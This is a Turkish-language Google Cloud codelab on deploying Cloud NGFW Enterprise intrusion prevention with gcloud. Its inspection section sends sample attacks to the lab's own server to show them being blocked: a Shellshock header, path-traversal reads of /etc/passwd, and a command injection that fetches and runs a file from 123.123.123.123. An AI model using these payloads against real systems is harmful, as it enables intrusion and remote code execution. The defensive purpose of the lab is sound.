Cloud NGFW Enterprise - Yetkisiz Erişim Önleme Hizmeti (TLS Denetlemesi olmadan)

1. Giriş

Cloud Next Generation Firewall (NGFW)

Cloud Next Generation Firewall, Google Cloud iş yüklerinizi dahili ve harici saldırılara karşı korumak için gelişmiş koruma özellikleri, mikro segmentasyon ve yaygın kapsama alanı sunan, tamamen dağıtılmış bir güvenlik duvarı hizmetidir.

Cloud NGFW'nin avantajları şunlardır:

  • Dağıtılmış güvenlik duvarı hizmeti: Cloud NGFW, sıfır güven güvenlik mimarisini etkinleştirmek için her iş yükünde durum bilgisine sahip, tümüyle dağıtılmış ana makine tabanlı yaptırım sağlar.
  • Basitleştirilmiş yapılandırma ve dağıtım: Cloud NGFW, bir kaynak hiyerarşisi düğümüne eklenebilecek ağ ve hiyerarşik güvenlik duvarı politikalarını uygular. Bu politikalar, Google Cloud kaynak hiyerarşisi genelinde tutarlı bir güvenlik duvarı deneyimi sağlar.
  • Ayrıntılı kontrol ve mikro segmentasyon: Güvenlik duvarı politikaları ile Identity and Access Management (IAM) tarafından yönetilen etiketlerin kombinasyonu, Sanal Özel Bulut (VPC) ağları ve kuruluşlar genelinde hem kuzey-güney hem de doğu-batı trafiği için tek bir sanal makineye kadar ayrıntılı kontrol sağlar.

Cloud NGFW aşağıdaki katmanlarda kullanılabilir:

Cloud NGFW Enterprise

Cloud NGFW Enterprise, dağıtılmış Google Cloud Güvenlik Duvarı yapısına 7. Katman özelliği olan Saldırı Önleme Hizmeti'ni (IPS) ekler. TLS şifrelenmiş trafiğin incelenmesine izin vermek için TLS denetimi desteklenir ancak bu codelab'in kapsamı dışındadır (TLS Denetimi ile Cloud NGFW Enterprise Codelab başlıklı makaleyi inceleyin).

Artık ağ mimarinizde veya yönlendirme yapılandırmalarınızda herhangi bir değişiklik yapmadan ayrıntılı kontrollerle güvenilir 7. Katman Yeni Nesil Güvenlik Duvarı (NGFW) denetimleri dağıtabilirsiniz.

7. katman güvenlik duvarı denetimini IPS ile etkinleştirmek ve dağıtmak için aşağıdaki görevleri gerçekleştirmeniz gerekir:

  • Google Cloud tarafından yönetilen bir dizi bölgesel güvenlik duvarı uç noktası oluşturun.
  • İsteğe bağlı olarak bir TLS Denetimi Politikası oluşturun (bu kod laboratuvarının kapsamında değildir)
  • İsteğe bağlı olarak bir Trust Config oluşturun (bu kod laboratuvarının kapsamında değildir)
  • Bu uç noktaları, Cloud NGFW Enterprise hizmetine ihtiyacınız olan Sanal Özel Bulut (VPC) ağlarıyla ilişkilendirin.
  • Çeşitli trafik yolları için tehdit önleme profillerini belirtmek üzere mevcut güvenlik duvarı politikalarınızda ve güvenlik duvarı kurallarınızda basit değişiklikler yapın.

Ağ güvenlik duvarı politikaları

Ağ güvenlik duvarı politikası, güvenlik duvarı kuralları için kapsayıcı görevi görür. Ağ güvenlik duvarı politikasında tanımlanan kurallar, politika bir VPC ağı ile ilişkilendirilene kadar hiçbir yerde zorunlu kılınmaz. Her VPC ağının ilişkili bir ağ güvenlik duvarı politikası olabilir. Ağ güvenlik duvarı politikaları, güvenlik duvarı kurallarında IAM tarafından yönetilen etiketleri (veya yalnızca etiketleri) destekler. Bu etiketler, mevcut ağ etiketlerinin yerini alır ve iş yüküne kimlik sağlamak için kullanılabilir.

Ağ güvenlik duvarı politikasının ağlar arasında paylaşılması ve IAM tarafından yönetilen etiketlerle entegrasyon, güvenlik duvarlarının yapılandırılmasını ve yönetimini büyük ölçüde kolaylaştırır.

Ağ güvenlik duvarı politikasının kullanıma sunulmasıyla birlikte Google Cloud'un güvenlik duvarı politikaları artık aşağıdaki bileşenlerden oluşmaktadır:

  1. Hiyerarşik Güvenlik Duvarı Politikası
  2. VPC Güvenlik Duvarı Kuralları
  3. Ağ Güvenlik Duvarı Politikası ( Küresel ve Bölgesel)

Hiyerarşik güvenlik duvarı politikaları, kaynak hiyerarşisindeki kuruluş ve klasör düğümlerinde desteklenir. VPC güvenlik duvarı kuralları ve ağ güvenlik duvarı politikaları ise VPC düzeyinde uygulanır. VPC güvenlik duvarı kuralları ile ağ güvenlik duvarı politikaları arasındaki en büyük fark, VPC güvenlik duvarı kurallarının yalnızca tek bir VPC ağına uygulanabilmesi, ağ güvenlik duvarı politikalarının ise toplu güncellemeler gibi diğer avantajların yanı sıra tek bir VPC'ye veya VPC grubuna eklenebilir olmasıdır.

Son olarak, her VPC ağında bulunan örtülü güvenlik duvarı kuralları da vardır:

  • İşlemi izin ver ve hedefi 0.0.0.0/0 olan bir çıkış kuralı
  • İşlemi reddet ve kaynağı 0.0.0.0/0 olan bir giriş kuralı

Yaptırım sırası varsayılan olarak aşağıdaki şemada gösterilir:

21b3bcabc469ffe.png

VPC güvenlik duvarı kuralları ile genel ağ güvenlik duvarı politikası arasındaki yaptırım sırasının değiştirilebileceğini lütfen unutmayın. Müşteriler, gcloud komutu ile istedikleri zaman yaptırım emrini belirtebilir.

IAM tarafından yönetilen etiketler

Yeni ağ güvenlik duvarı politika kurallarına entegre edilen etiketler, Google Cloud kaynak hiyerarşisinin kuruluş veya proje düzeyinde tanımlanan anahtar/değer çifti kaynaklarıdır. Bu tür bir etiket, adından da anlaşılacağı gibi, etikette kimin ne yapabileceğini belirten bir IAM erişim denetimi içerir. Örneğin, IAM izinleri, hangi kimliklerin etiketlere değer atayabileceğini ve hangi kimliklerin kaynaklara etiket ekleyebileceğini belirtmenize olanak tanır. Bir etiket bir kaynağa uygulandıktan sonra ağ güvenlik duvarı kuralları, trafiğe izin vermek ve trafiği reddetmek için bu etiketi kullanabilir.

Etiketler, Google Cloud'un kaynak devralma modeline uyar. Yani etiketler ve değerleri, üst öğelerinden hiyerarşi boyunca aktarılır. Sonuç olarak, etiketler tek bir yerde oluşturulabilir ve ardından kaynak hiyerarşisindeki diğer klasörler ve projeler tarafından kullanılabilir. Etiketler ve erişim kısıtlaması hakkında ayrıntılı bilgi için bu sayfayı ziyaret edin.

Etiketler, ağ etiketleriyle karıştırılmamalıdır. İkincisi, Compute Engine örneklerine eklenebilen dizelerdir. Bu dize örnekleri örnekle ilişkilendirilir ve örnek kullanımdan kaldırıldığında kaybolur. VPC güvenlik duvarı kuralları ağ etiketleri içerebilir ancak bulut kaynağı olarak kabul edilmediklerinden IAM erişim denetimine tabi değildir.

Bu belgede etiketler ve IAM tarafından yönetilen etiketlerin birbirinin yerine kullanıldığını unutmayın.

Oluşturacağınız uygulama

Bu kod laboratuvarının çalışması için tek bir proje ve herkese açık bağlantıya sahip bir VPC ağı oluşturma yeteneği gerekir. Bu laboratuvarda, Cloud NGFW Enterprise'ın IPS işlevini aşağıdaki şekilde nasıl sağlayabileceği gösterilmektedir:

  • VPC/alt ağ içi akışları inceleme [Doğu-Batı]
  • İnternetten gelen giriş akışlarını inceleme [Kuzey-Güney]

İncelenecek akışlar, 5 unsur (kaynak IP, hedef IP, protokol, kaynak bağlantı noktası, hedef bağlantı noktası) ve etiketler dahil olmak üzere Cloud Güvenlik Duvarı eşleme parametreleri kullanılarak seçilir. TLS denetimi bu codelab'e dahil değildir.

52a0642ef8668ecf.png

Ağ güvenlik duvarı politikası kural tabanı aşağıdaki tabloya benzer olacaktır:

Öncelik

Yön

Target

Kaynak

Hedef

İşlem

Tür

100

Çıkış

Quarantine_Tag

Tümü

Tümü

Reddet

Essentials

1000

Giriş

Server_Tag

Durum denetimi aralıkları

Tümü

İzin ver

Essentials

2000

Giriş

Tümü

Identity-Aware Proxy Aralıkları

Tümü

İzin ver

Essentials

3000

Giriş

Tümü

Coğrafi, GCTI

Tümü

Reddet

Standart

4000

Çıkış

Tümü

Tümü

Coğrafi, GCTI

Reddet

Standart

5000

Çıkış

Tümü

Tümü

Sistem güncellemesi FQDN'leri

İzin ver

Standart

6.000

Giriş

Server_Tag

10.0.0.0/24

Tümü

IPS

Kurumsal

7000

Giriş

Server_Tag

CloudNAT_IP

Tümü

IPS

Kurumsal

Neler öğreneceksiniz?

Gerekenler

  • Google Cloud projesi
  • Örnekleri dağıtma ve ağ bileşenlerini yapılandırma hakkında bilgi
  • VPC güvenlik duvarı yapılandırma bilgisi

2. Başlamadan önce

Değişken oluşturma/güncelleme

Bu kod laboratuvarında, Cloud Shell'de gcloud yapılandırmasının uygulanmasına yardımcı olmak için $variables değişkenleri kullanılır.

Cloud Shell'de, tırnak içindeki bilgileri gerektiği gibi değiştirerek aşağıdaki komutları çalıştırın (İstenen proje zaten ayarlanmışsa projeyi ayarlamayı atlayın). Örneğin, birden fazla güvenlik duvarı uç noktası gerekiyorsa kuruluş düzeyindeki kaynaklar için farklı bir değişken kullanılır.

gcloud config set project [project-id]

export project_id=$(gcloud config list --format="value(core.project)")
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=cloudngfw
export org_prefix=cloudngfw
export billing_project_id=[project-id]

3. API'leri etkinleştir

Henüz yapmadıysanız API'leri etkinleştirin:

gcloud services enable compute.googleapis.com
gcloud services enable networksecurity.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable privateca.googleapis.com

4. Cloud NGFW Enterprise Güvenlik Profili ve Uç Nokta Oluşturma

Cloud NGFW Enterprise uç noktası oluşturma işlemi yaklaşık 20 dakika sürdüğü için önce bu uç nokta oluşturulur ve uç nokta oluşturulurken temel kurulum paralel olarak yapılabilir.

Güvenlik profilini ve güvenlik profili grubunu oluşturun:

gcloud network-security security-profiles threat-prevention \
  create $org_prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud network-security security-profile-groups create \
  $org_prefix-spg \
  --organization $org_id \
  --location=global \
  --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat

Beklenen çıkış:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat] to be created...done.

Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to com
plete...done.                                                                                                                                 
Created security profile group [$org_prefix-spg].

Kaynakların başarıyla oluşturulduğunu onaylayın:

gcloud network-security security-profiles threat-prevention \
  list --location=global --organization $org_id

gcloud network-security security-profile-groups list \
  --organization $org_id --location=global

Beklenen çıkış:

NAME: cloudngfw-sp-threat
NAME: cloudngfw-spg

Cloud NGFW Enterprise uç noktasını oluşturun:

gcloud network-security firewall-endpoints create $org_prefix-$zone \
  --zone=$zone --organization $org_id \
  --billing-project $billing_project_id

Bitiş noktasının oluşturulmakta olduğunu onaylamak için aşağıdaki komutu çalıştırın (DURUM: CREATING).

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Beklenen çıkış (çıktı biçiminin, kullanılan istemciye göre değişebileceğini unutmayın):

ID: cloudngfw-[zone]
LOCATION: [zone]
STATE: CREATING

İsteğe bağlı olarak, daha fazla ayrıntı almak için aşağıdaki komutu çalıştırın:

gcloud network-security firewall-endpoints describe \
  $org_prefix-$zone --organization $org_id --zone $zone

Beklenen çıkış:

createTime: '2023-04-25T18:08:45.493499362Z'
name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
state: CREATING
updateTime: '2023-04-25T18:08:45.493499362Z'

Uç nokta oluşturma işlemi yaklaşık 20 dakika sürer. Gerekli kaynakları paralel olarak oluşturmak için Temel Kurulum bölümüne gidin.

5. Temel Kurulum

Temel kaynakları manuel olarak oluşturmayı tercih ederseniz aşağıdaki bölümlere geçin.

VPC ağı ve alt ağı

VPC ağı ve alt ağı

VPC ağını ve alt ağını oluşturun:

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

Cloud NAT

Cloud Router'ları ve Cloud NAT ağ geçitlerini oluşturun:

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

Instances

İstemci ve web sunucusu örneklerini oluşturun:

gcloud compute instances create $prefix-$zone-www \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump iperf3 -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --scopes=compute-ro \
   --metadata startup-script='#! /bin/bash
        apt-get update
        apt-get install apache2-utils iperf3 tcpdump -y'

Proje düzeyinde etiketler

Gerekirse kullanıcıya etiketYöneticisi ve/veya etiketKullanıcı izinlerini atayın:

export user_id=$(gcloud auth list --format="value(account)")

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagUser

Proje düzeyinde etiket anahtarını ve değerlerini oluşturun:

gcloud resource-manager tags keys create $prefix-vpc-tags \
   --parent projects/$project_id \
   --purpose GCE_FIREWALL \
   --purpose-data network=$project_id/$prefix-vpc

gcloud resource-manager tags values create $prefix-vpc-client \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-server \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-quarantine \
   --parent=$project_id/$prefix-vpc-tags

Etiketleri örneklere bağlama:

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client

Küresel ağ güvenlik duvarı politikası

Global ağ güvenlik duvarı politikası oluşturma:

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Cloud NGFW Enterprise" --global

Karantinaya alınmış örneklerden (yalnızca örnek olarak oluşturulmuştur, bu kod laboratuvarında kullanılmaz) gelen trafiği reddetmek ve durum denetimi ile kimlik bilinçli proxy aralığından gelen trafiğe izin vermek için Cloud Firewall Temel kuralları oluşturun:

gcloud compute network-firewall-policies rules create 100 \
        --description="block quarantined workloads" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=EGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine \
        --dest-ip-ranges=0.0.0.0/0

gcloud compute network-firewall-policies rules create 1000 \
        --description="allow http traffic from health-checks ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22

gcloud compute network-firewall-policies rules create 2000 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --src-ip-ranges=35.235.240.0/20

Ambargo uygulanan ülkelerden/ülkelere, bilinen kötü amaçlı IP'lere ve ToR çıkış düğümlerine gelen/giden giriş ve çıkış trafiğini reddetmek ve yalnızca sistem güncellemeleri için belirli FQDN'lere çıkış trafiğine izin vermek üzere Cloud Firewall Standart kuralları oluşturun (yalnızca örnek olarak oluşturulmuştur, bu kod laboratuvarında kullanılmaz):

gcloud compute network-firewall-policies rules create 3000 \
        --description="block ingress traffic from sanctioned countries, known malicious IPs and ToR exit nodes" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=INGRESS \
        --src-region-codes CU,IR,KP,SY,XC,XD \
        --src-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips

gcloud compute network-firewall-policies rules create 4000 \
        --description="block egress traffic to sanctioned countries, known malicious IPs and ToR exit nodes" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=EGRESS \
        --dest-region-codes CU,IR,KP,SY,XC,XD \
        --dest-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips

gcloud compute network-firewall-policies rules create 5000 \
        --description "allow system updates" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=EGRESS \
--dest-fqdns=ftp.us.debian.org,debian.map.fastly.net,packages.cloud.google.com,www3.l.google.com

Belirli aralıklardan gelen doğu-batı / alt ağ içi ve kuzey-güney / internet trafiğine izin vermek için Cloud Güvenlik Duvarı kuralları oluşturun (bu kurallar, Cloud NGFW Enterprise'ı etkinleştirecek şekilde güncellenecektir):

gcloud compute network-firewall-policies rules create 6000 \
        --description "allow ingress internal traffic from clients" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=INGRESS \
        --enable-logging \
        --layer4-configs all \
        --src-ip-ranges=10.0.0.0/24 \
          --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud compute network-firewall-policies rules create 7000 \
        --description "allow ingress external traffic to server" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --enable-logging \
        --src-ip-ranges=$cloudnatip \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

Ağ güvenlik duvarı politikasını VPC ağı ile ilişkilendirin:

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

Harici TCP/UDP Ağ Yük Dengeleyici

Harici bir IP adresi ayırın ve örnek grubu ile durum denetimini oluşturun:

gcloud compute addresses create $prefix-$region-nlbip --region=$region

gcloud compute instance-groups unmanaged create $prefix-ig \
    --zone $zone

gcloud compute instance-groups unmanaged add-instances $prefix-ig \
   --instances $prefix-$zone-www --zone $zone

gcloud compute health-checks create http $prefix-$region-hc-http80 \
   --region $region --port 80

Arka uç hizmeti ve yönlendirme kuralı oluşturun:

gcloud compute backend-services create $prefix-nlb-bes \
    --protocol TCP \
    --health-checks $prefix-$region-hc-http80 \
    --health-checks-region $region \
    --region $region

gcloud compute backend-services add-backend $prefix-nlb-bes \
    --instance-group $prefix-ig \
    --instance-group-zone $zone \
    --region $region

gcloud compute forwarding-rules create $prefix-nlb-ipv4 \
  --load-balancing-scheme EXTERNAL \
  --region $region \
  --ports 80 \
  --address $prefix-$region-nlbip \
  --backend-service $prefix-nlb-bes

6. Cloud NGFW Enterprise Uç Noktası İlişkilendirmesi

Gerekirse ortam değişkenlerini yeniden tanımlayın.

Cloud Firewall uç noktasının oluşturulmasının başarıyla tamamlandığını onaylayın. Yalnızca durum ETKİN olarak gösterildiğinde devam edin (oluşturma sırasında beklenen durum OLUŞTURULUYOR'dur):

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Beklenen çıkış (çıktı biçiminin, kullanılan istemciye göre değişebileceğini unutmayın):

ID: cloudngfw-[zone]
LOCATION: [zone]
STATE: ACTIVE

İsteğe bağlı olarak, daha fazla ayrıntı almak için aşağıdaki komutu çalıştırın:

gcloud network-security firewall-endpoints describe \
  $org_prefix-$zone --organization $org_id --zone $zone

Beklenen çıkış:

createTime: '2023-04-25T18:08:45.493499362Z'
name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
state: ACTIVE
updateTime: '2023-04-25T18:29:40.840608100Z'

Cloud NGFW Enterprise uç noktasını VPC ağına bağlayın:

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc --endpoint $org_prefix-$zone \
  --organization $org_id

İlişkilendirme işlemi yaklaşık 10 dakika sürer. Yalnızca durum ETKİN olarak gösterildiğinde devam edin (oluşturma işlemi sırasında beklenen durum OLUŞTURULUYOR'dur):

gcloud network-security firewall-endpoint-associations list

Beklenen çıkış:

ID: cloudngfw-association
LOCATION: [zone]
NETWORK: cloudngfw-vpc
ENDPOINT: cloudngfw-[zone]
STATE: ACTIVE

İsteğe bağlı olarak, daha fazla ayrıntı almak için aşağıdaki komutu çalıştırın:

gcloud network-security firewall-endpoint-associations \
  describe $prefix-association --zone $zone

Beklenen çıkış:

createTime: '2023-05-01T22:25:06.218544436Z'
firewallEndpoint: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
name: projects/[project-id]/locations/[zone]/firewallEndpointAssociations/cloudngfw-association
network: projects/[project-id]/global/networks/cloudngfw-vpc
state: ACTIVE
updateTime: '2023-05-01T22:33:06.467596536Z'

7. Cloud NGFW Enterprise Inspection Rules

Yeni bir sekme açın ve IAP üzerinden istemci sanal makinesine SSH bağlantısı başlatın (değişkenleri yeni sekmede tekrar tanımlamanız gerekir):

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

SSH oturumunda gerekli değişkenleri tanımlayın ve ayarlayın (değerlerin doğru olduğundan emin olun):

export region=[region]
export zone=[zone]
export prefix=cloudngfw

export target_privateip=$(gcloud compute instances list --filter=name:$prefix-$zone-www --format="value(networkInterfaces.networkIP)")

export target_nlbip=$(gcloud compute addresses list --filter=name:$prefix-$region-nlbip --format="value(address)")

Erişilebilir olduklarını doğrulamak için her iki IP'yi de curl ile kontrol edin:

curl $target_privateip --max-time 2

curl $target_nlbip --max-time 2

Her iki curl isteği için beklenen sonuç:

Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]

Şirket içi sunucu IP'sine örnek saldırılar gönderin (Doğu-Batı / VPC içi trafik). Web sunucusu, L7 denetimi/önleminin bulunmadığını onaylayarak tüm isteklere yanıt vermelidir:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3

curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

Örnek saldırıları Cloud NAT (Kuzey-Güney gelen trafiği) üzerinden harici sunucu IP'sine yeniden gönderin. Benzer şekilde, web sunucusu tüm isteklere yanıt vermelidir:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

Hem herkese açık hem de özel IP'ler için beklenen sonuçlar:

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address>
</body></html>
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address>
</body></html>
Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address>
</body></html>

Cloud Shell'e geri dönün ve L7 denetimini etkinleştirmek için mevcut giriş kurallarını güncelleyin:

gcloud compute network-firewall-policies rules update 6000 \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --enable-logging \
   --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

gcloud compute network-firewall-policies rules update 7000 \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --enable-logging \
   --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

İsteğe bağlı olarak, her ikisinin de başarıyla güncellendiğini doğrulamak için güvenlik duvarı kurallarını açıklayın:

gcloud compute network-firewall-policies rules describe 6000 \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy

Beklenen çıkış:

---
action: apply_security_profile_group
description: allow ingress internal traffic from tagged clients
direction: INGRESS
disabled: false
enableLogging: true
kind: compute#firewallPolicyRule
match:
  layer4Configs:
  - ipProtocol: all
  srcIpRanges:
  - 10.0.0.0/24
priority: 800
ruleTupleCount: 4
securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg
targetSecureTags:
- name: tagValues/281484362719839
  state: EFFECTIVE

7000 Kuralı:

gcloud compute network-firewall-policies rules describe 7000 \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy

Beklenen çıkış:

---
action: apply_security_profile_group
description: allow ingress external traffic to server
direction: INGRESS
disabled: false
enableLogging: true
kind: compute#firewallPolicyRule
match:
  layer4Configs:
  - ipProtocol: tcp
    ports:
    - '80'
  - ipProtocol: tcp
    ports:
    - '443'
  srcIpRanges:
  - [cloudnat-ip]
priority: 900
ruleTupleCount: 6
securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg
targetSecureTags:
- name: tagValues/281484362719839
  state: EFFECTIVE

İstemci sanal makinesine geri dönün ve örnek saldırıları dahili sunucu IP'sine yeniden gönderin (Doğu-Batı / VPC içi denetim):

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3

curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

Örnek saldırıları Cloud NAT üzerinden harici sunucu IP'sine yeniden gönderin (Kuzey-Güney gelen incelemesi):

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

Aşağıdaki beklenen çıkışa göre ilk saldırılar için yanıt alınmıyor. Bu durum, yüksek önem derecesine sahip saldırıların artık engellendiğini doğrular.

curl: (56) Recv failure: Connection reset by peer
curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received
curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address>
</body></html>

Günlükleri doğrulamak için Cloud Console'da Ağ Güvenliği > Tehditler'e gidin (Saldırılar henüz gösterilmiyorsa birkaç kez yenilemeniz gerekebilir).

daa535fcc34873aa.png

Saldırılar arasından birini seçin ve sağ taraftaki "Denetleme günlüğünü görüntüle"yi tıklayın (kolayca geri dönmek için yeni bir sekmede açın). Ayrıntıları göstermek için saldırıyı genişletin:

5f97cdef79e42eff.png

Dilerseniz Günlük Gezgini filtresini aşağıdaki sorguyla değiştirebilirsiniz:

resource.type="networksecurity.googleapis.com/FirewallEndpoint"

Tehdit günlüğü girişleri aşağıdaki gibi görünmelidir:

5ea9581a7eb694c5.png

Cloud Güvenlik Duvarı'nın müdahale ettiği paketler, aşağıdaki Günlük Gezgini filtresi kullanılarak doğrulanabilir (sorun giderme amacıyla faydalıdır):

jsonPayload.rule_details.action="APPLY_SECURITY_PROFILE_GROUP"

f3766ea8d66ddef8.png

İnternet trafiği incelemesine devam edin (isteğe bağlı) veya SSH oturumunu kapatıp temizleme adımları için sonraki bölüme geçin.

[İsteğe bağlı] İnternet trafiği incelemesi

